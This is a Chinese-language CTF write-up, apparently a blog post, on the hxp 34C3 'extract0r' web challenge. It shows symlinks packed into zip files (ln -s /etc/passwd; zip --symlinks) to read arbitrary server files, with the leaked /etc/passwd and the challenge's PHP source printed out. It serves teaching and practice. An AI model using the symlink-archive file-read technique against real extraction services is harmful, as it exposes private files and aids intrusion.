34C3 CTF Web题 extract0r Writeup (软链接实现任意读文件/目录+SSRF绕过内网ip黑名单+Gopher攻击MySQL+zip文件构造)

extract0r

– A web challenge from hxp 34C3 CTF

https://ctftime.org/event/544

题目部署

本地搭建:

https://github.com/shimmeris/CTF-Web-Challenges/tree/master/SSRF/34c3-2017-extract0r

在34c3-2017-extract0r目录下执行:

chmod 777 build run
./build
./run

访问127.0.0.1:8013

题目分析

在这里插入图片描述

这道题可以看到是一个“安全的文件解压服务”,没有文件上传功能,但是可以输入压缩包的URL,这个服务会帮你解压并且把解压后文件放置在一个随机哈希值的目录下。

在这里插入图片描述

压缩包我统一放到了我github的仓库里,这样就有下载直链了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

访问http://157.245.169.152:8013/index.php,还是跳转到刚刚的页面,说明网站是用php写的。按照一般的思路,我们把木马压在压缩包里然后上传。php无法正确解析的话,因为是Apache服务器,就先上传一个.htaccess,这样来拿shell。不过经过试验发现这些都是不行的。因为Apache的配置文件里AllowOverride None,所以.htaccess无效。

但是压缩包里其实可以藏一个软链接,这样的话可以把特定文件像个钩子一样勾出来,实现任意文件读取

比如说这样:

ln -s /etc/passwd passwd
zip --symlinks passwd.zip passwd

首先创建一个指向/etc/passwd的软链接,文件名为passwd,然后将这个文件压缩到zip里。

我们测试一下:

提示Done。再来访问:

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
extract0r:x:1000:1000::/home/extract0r:

可以看到/etc/passwd已经被我们勾出来了。

所以接下来我们看看能不能把源码勾出来,先勾/var/www/html/index.php

ln -s /var/www/html/index.php index
zip --symlinks index.zip index

index.php

<?php
session_start();

include "url.php";

function get_directory($new=false) {
   
    if (!isset($_SESSION["directory"]) || $new) {
   
        $_SESSION["directory"] = "files/" . sha1(random_bytes(100));
    }

    $directory = $_SESSION["directory"];

    if (!is_dir($directory)) {
   
        mkdir($directory);
    }

    return $directory;
}

function clear_directory() {
   
    $dir = get_directory();
    $files = glob($dir . '/*'); 
    foreach($files as $file) {
    
        if(is_file($file) || is_link($file)) {
   
            unlink($file); 
        } else if (is_dir($file)) {
   
            rmdir($file);
        }
    }
}

function verify_archive($path) {
   
    $res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
    $line = strtok($res, "\n");
    $file_cnt = 0;
    $total_size = 0;

    while ($line !== false) {
   
        preg_match("/^Size = ([0-9]+)/", $line, $m);
        if ($m) {
   
            $file_cnt++;
            $total_size += (int)$m[1];
        }
        $line = strtok( "\n" );
    }

    if ($total_size === 0) {
   
        return "Archive's size 0 not supported";
    }

    if ($total_size > 1024*10) {
   
        return "Archive's total uncompressed size exceeds 10KB";
    }

    if ($file_cnt === 0) {
   
        return "Archive is empty";
    }

    if ($file_cnt > 5) {
   
        return "Archive contains more than 5 files";
    }

    return 0;
}

function verify_extracted($directory) {
   
    $files = glob($directory . '/*'); 
    $cntr = 0;
    foreach($files as $file) {
   
        if (!is_file($file)) {
   
            $cntr++;
            unlink($file);
            @rmdir($file);
        }
    }
    return $cntr;
}

function decompress($s) {
   
    $directory = get_directory(true);
    $archive =  tempnam("/tmp", "archive_");

    file_put_contents($archive, $s);
    $error = verify_archive($archive);
    if ($error) {
   
        unlink($archive);
        error($error);
    }

    shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
    unlink($archive);

    return verify_extracted($directory);
}

function error($s) {
   
    clear_directory();
    die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}

$msg = "";
if (isset($_GET["url"])) {
   
    $page =  get_contents($_GET["url"]);

    if (strlen($page) === 0) {
   
        error("0 bytes fetched. Looks like your file is empty.");
    } else {
   
        $deleted_dirs = decompress($page);
        $msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";

        if ($deleted_dirs > 0
  • 5
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值